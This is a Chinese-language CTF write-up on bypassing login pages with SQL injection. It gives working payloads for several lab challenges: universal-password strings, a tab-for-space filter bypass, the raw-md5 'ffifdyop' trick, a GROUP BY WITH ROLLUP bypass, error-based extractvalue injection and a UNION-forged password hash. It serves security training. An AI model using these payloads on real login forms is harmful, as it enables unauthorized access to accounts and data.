SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面,让我们绕过限制登录或者一步步注入数据。

万能密码—very easy

题目入口:http://lab1.xseclab.com/sqli2_32 ... c31550b60/index.php

题目来源:hacking lab inject 01~

very easy.png (2.98 KB, 下载次数: 35)

2017-10-10 10:16 上传

源代码有提示:

!.png (1.79 KB, 下载次数: 23)

2017-10-10 10:16 上传

万能密码登录语句构造:

select * from admin where username='admin'and 1=1 #' and password='123456'

OR

select * from admin where username='admin'or 1 #' and password='123456'

或者不需要admin

select * from admin where username='1'or 1 or 1 #' and password='123456'

还可以用#来注释

select * from admin where username='admin'#' and password='123456'

万能密码— easy

题目入口:http://redtiger.labs.overthewire.org/level2.php

题目来源:RedTigers Hackit Level 2 Simple login-bypass

做题密码:4_is_not_random

构造语句:

username=1&password=1'or'1'or'1&login=Login

login.png (1.8 KB, 下载次数: 21)

2017-10-10 10:19 上传

万能密码— not than easy

题目入口: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html

题目来源:实验吧,不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

easy.png (18.17 KB, 下载次数: 24)

2017-10-10 10:20 上传

常规方式使用万能密码,发现'没有被过滤,or,--+,#被过滤。

beiguolv.png (78.34 KB, 下载次数: 26)

2017-10-10 10:20 上传

假设后台sql查询语句为:

select * from user where username='$user' and password='$pass'

构造payload:

username=reborn'='&password=reborn'='

000.png (9.85 KB, 下载次数: 23)

2017-10-10 10:22 上传

select * from user where username='reborn'='' and password='reborn'=''

username='reborn'返回值为0,相当于false,然后0=''的结果为1,相当于true。

所以注入语句相当于:

select * from user where 1 and 1

万能密码— little hard ?

题目入口:http://123.59.52.228:1515/route.php?act=index

题目来源:2017年全国大学生信息安全竞赛的web题。

your hat.png (19.48 KB, 下载次数: 22)

2017-10-10 10:23 上传

提交的时候,返回包有提示这么一个sql语句:

select count(*) from t_info where username = '1' or nickname = '1'

' 转义 \

\ 转义 \\

" 转义 \"

空格被过滤:但'可以转义掉原本的'

name=or 1 #'&submit=check

select count(*) from t_info where username = 'or1#\' or nickname = 'or1#\'

用%09代替空格,%09是制表符的URL编码 。

name=or%091%09#'&submit=check

select count(*) from t_info where username = 'or 1 #\' or nickname = 'or 1 #\'good job

跟随302跳转。

tiaozhuan.png (2.15 KB, 下载次数: 29)

2017-10-10 10:26 上传

万能密码— md5($pass,true)

题目入口:http://web.jarvisoj.com:32772/

题目来源:jarvis oj,Login:需要密码才能获得flag哦。

本题是一个登录页面。

页面.png (1.01 KB, 下载次数: 36)

2017-10-10 10:27 上传

通过burp抓包拦截,返回包有提示:

返回包.png (73.79 KB, 下载次数: 27)

2017-10-10 10:27 上传

Hint: "select * from `admin` where password='".md5($pass,true)."'"

* md5(string,raw)*

string 必需。规定要计算的字符串。

raw 可选。规定十六进制或二进制输出格式:

•  TRUE - 原始 16 字符二进制格式

•FALSE - 默认。32 字符十六进制数如果md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串,则拼接后构成的语句为:

select * from `admin` where password=''or'xxx'

下面提供两个payload:

content: 129581926211651571912466741651878684928

hex: 06da5430449f8f6f23dfc1276f722738

raw: ?T0D??o#??'or'8.N=?

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6蒥欓!r,b

类似题目:

题目入口:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

题目来源:hacking lab inject 09~

看到源代码password='".md5($_GET['pwd'], true),就知道这道题和题目3的解法是一致的。

http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

万能密码— with rollup

题目入口: http://ctf5.shiyanbar.com/web/pcat/index.php

题目来源:实验吧

访问链接是登录页面:

万能页‘’.png (17.01 KB, 下载次数: 24)

2017-10-10 10:30 上传

查看网页源代码有提示:

ts.png (1.99 KB, 下载次数: 31)

2017-10-10 10:31 上传

访问:http://ctf5.shiyanbar.com/web/pcat/source.txt 得到题目源代码。

error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {

echo '

'."
";

echo ''."
";

echo ''."
";

echo ''."
";

echo '

'."
";

echo ''."
";

die;

}

function AttackFilter($StrKey,$StrValue,$ArrReq){

if (is_array($StrValue)){

$StrValue=implode($StrValue);

}

if (preg_match("/".$ArrReq."/is",$StrValue)==1){

print "水可载舟,亦可赛艇!";

exit();

}

}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

foreach($_POST as $key=>$value){

AttackFilter($key,$value,$filter);

}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");

if (!$con){

die('Could not connect: ' . mysql_error());

}

$db="XXXXXX";

mysql_select_db($db, $con);

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

$query = mysql_query($sql);

if (mysql_num_rows($query) == 1) {

$key = mysql_fetch_array($query);

if($key['pwd'] == $_POST['pwd']) {

print "CTF{XXXXXX}";

}else{

print "亦可赛艇!";

}

}else{

print "一颗赛艇!";

}

mysql_close($con);

?>

从源代码得出,注入点在uname这个位置上,$filter没有过滤掉or

注入成功要满足几个条件:

1.mysql_num_rows($query) == 1 即查询返回的结果行数为1

2.$key['pwd'] == $_POST['pwd'] 即查询返回的结果与POST发送的pwd值相同

解题:

group by pass with rollup 的技巧

mysql> select user from users group by user;

+---------+

| user    |

+---------+

| 1337    |

| admin   |

| gordonb |

| pablo   |

| smithy  |

+---------+

5 rows in set

mysql> select user from users group by user with rollup;

+---------+

| user    |

+---------+

| 1337    |

| admin   |

| gordonb |

| pablo   |

| smithy  |

| NULL    |

+---------+

6 rows in set

可以发现,在加上with roll up之后,返回pass最后一行多了一个NULL。当我们POST的pass为空,即可满足$key['pwd'] == $_POST['pwd']条件。

如何让返回的结果只取最后一行呢?

因为过滤了,所以无法使用limit 5,1这样的语法

可以使用limit 1 offset 5

mysql> select user from users group by 1 with rollup limit 1 offset 5;

+------+

| user |

+------+

| NULL |

+------+

1 row in set

所以最终 payload 如下,2为遍历出来的值

uname=' or 1=1 group by pwd with rollup limit 1 offset 2#&pwd=

万能密码— 程序逻辑

题目入口: http://ctf5.shiyanbar.com/web/5/index.php

题目来源:实验吧,程序逻辑问题

本题源代码:http://ctf5.shiyanbar.com/web/5/index.txt

welcome to simplexue

if($_POST[user] && $_POST[pass]) {

$conn = mysql_connect("********, "*****", "********");

mysql_select_db("phpformysql") or die("Could not select database");

if ($conn->connect_error) {

die("Connection failed: " . mysql_error($conn));

}

$user = $_POST[user];

$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";

$query = mysql_query($sql);

if (!$query) {

printf("Error: %s\n", mysql_error($conn));

exit();

}

$row = mysql_fetch_array($query, MYSQL_ASSOC);

//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

echo "

Logged in! Key:**************

";

}

else {

echo("

Log in failure!

");

}

}

?>

首先可以发现user处存在注入点,并且会回显错误信息,第一个想到的是报错注入。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from php where user ='admin' limit 0,1),0x7e)))#&pass=111

结果密码并不是admin/111。

user=admin'and (extractvalue(1,concat(0x7e,(select pw from phpformysql.php limit 0,1),0x7e)))#&pass=111

结果提示:

error.png (3.09 KB, 下载次数: 27)

2017-10-10 10:39 上传

既然是程序逻辑漏洞,然就继续看代码吧。

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

echo "

Logged in! Key:**************

";

}

判断sql查询返回的值和$pass做比较。strcasecmp比较两个字符串,且不区分大小写,相等返回0。

既然user存在注入,我们可以让返回的结果为任何值,只要等于我们输入pass的md5值。

如:reborn的md5加密的值为5ce3c6e5c3f84bdc0f45148adfd16ae6

因此我们可以构造payload:

user='union select '5ce3c6e5c3f84bdc0f45148adfd16ae6'#&pass=reborn

结果:

jieguo.png (3.9 KB, 下载次数: 25)

2017-10-10 10:41 上传

640.webp.jpg (54.75 KB, 下载次数: 40)

2017-10-10 10:41 上传

login窗口for mysql_CTF| SQL注入之login界面相关推荐

  1. OpenEMR登录模块SQL注入分析

     聚焦源代码安全,网罗国内外最新资讯! OpenEMR简介 OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR),是 ONC 认证的完整电子 ...

  2. 究竟什么是SQL注入?

    文章目录 1.前言 2.实验环境搭建 3.原理介绍 3.1 HTTP协议 3.1.1 HTTP报文 3.1.2 GET方法 3.1.3 POST方法 3.1.4 从页面到报文 3.2 SQL注入 3. ...

  3. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(七)-SQL注入字符型

    目录 前言: 一.简介 二.项目配置 三.代码编写 四.运行测试 前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server(转)

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:"老师你这SQL有注 ...

  5. Spring MVC防御CSRF、XSS和SQL注入攻击

    本文说一下SpringMVC如何防御CSRF(Cross-site request forgery跨站请求伪造)和XSS(Cross site script跨站脚本攻击). 说说CSRF 对CSRF来 ...

  6. JDBC SQl注入

    首先创建jdbc工具类 public class DBUtils {//静态加载static {try {Class.forName("com.mysql.jdbc.Driver" ...

  7. SQL注入与万能密码登录

    今天的靶机是一个主要面向web应用程序的框架.更具体地说,我们将了解如何对启用了SQL数据库的web应用程序执行SQL注入.我们的目标是具有针对后端数据库的搜索功能的网站,该数据库包含易受此攻击的可搜 ...

  8. 关于web安全之sql注入攻击

    前言:①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促, 能力有限,不到之处请大家批评指正: ②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是 ...

  9. 软件安全实验——lab8(SQL注入)(上)(旧虚拟机seedubuntu9版本实验)

    目录标题 2.实验室环境 2.1环境配置 2.2关闭对策 3.实验室的任务 3.1 Task 1(30分):针对SELECT语句的SQL注入攻击 3.2 Task 2(30分): SQL注入的UPDA ...

最新文章

  1. FAIL - Deployed application at context path / but context failed to start
  2. leetcode--两数之和--python
  3. videoJS如何用
  4. 不停刷朋友圈的人_不停刷新闻、朋友圈、微信群的朋友,休息一下,看多了伤身!...
  5. 华为OJ: 公共字符串计算
  6. java 数据结构_Java版-数据结构-队列(数组队列)
  7. 【ElasticSearch】 ElasticSearch 读取 流程
  8. springboot thymeleaf模板使用
  9. expr命令的一些用法
  10. LaTex写实验报告
  11. 2020 2月 月末总结
  12. Android使用LAME Mp3编码
  13. python能不能开发app_Python可以开发APP吗?老男孩Python教育
  14. 使用threejs开发微信小游戏全过程
  15. 罗马数字和阿拉伯数字互转(源码)
  16. [数学知识][几何]求三角形面积的几种方法
  17. 理财U24 认股权证、可赎债、可转债、永续债、优先股 教材解读
  18. Word2013制作中国的传统福字在屋门上贴的福字(福倒了)
  19. 手机网站开发的经验总结
  20. WinCE USB驱动CDevice::EnterOperationalState函数相关

热门文章

  1. linux top交叉编译_ARM Linux交叉编译工具链的制作
  2. android多语言编码格式,在Android中使用国家/地区代码以编程方式更改语言
  3. Serverless 全能选手,再下一城
  4. 逸仙电商Seata企业级落地实践
  5. ARMS为深绘智能系统保驾护航
  6. 飞天大数据平台助力轻松筹数字化运营
  7. 阿里云安全运营中心:DDoS攻击趁虚而入,通过代理攻击已成常态
  8. aaynctask控制多个下载进度_C# 多线程方法 控制两个进度条
  9. 手机格斗网游该如何避免延迟?
  10. 从0开始搭建一个战棋游戏的AI(初级教程)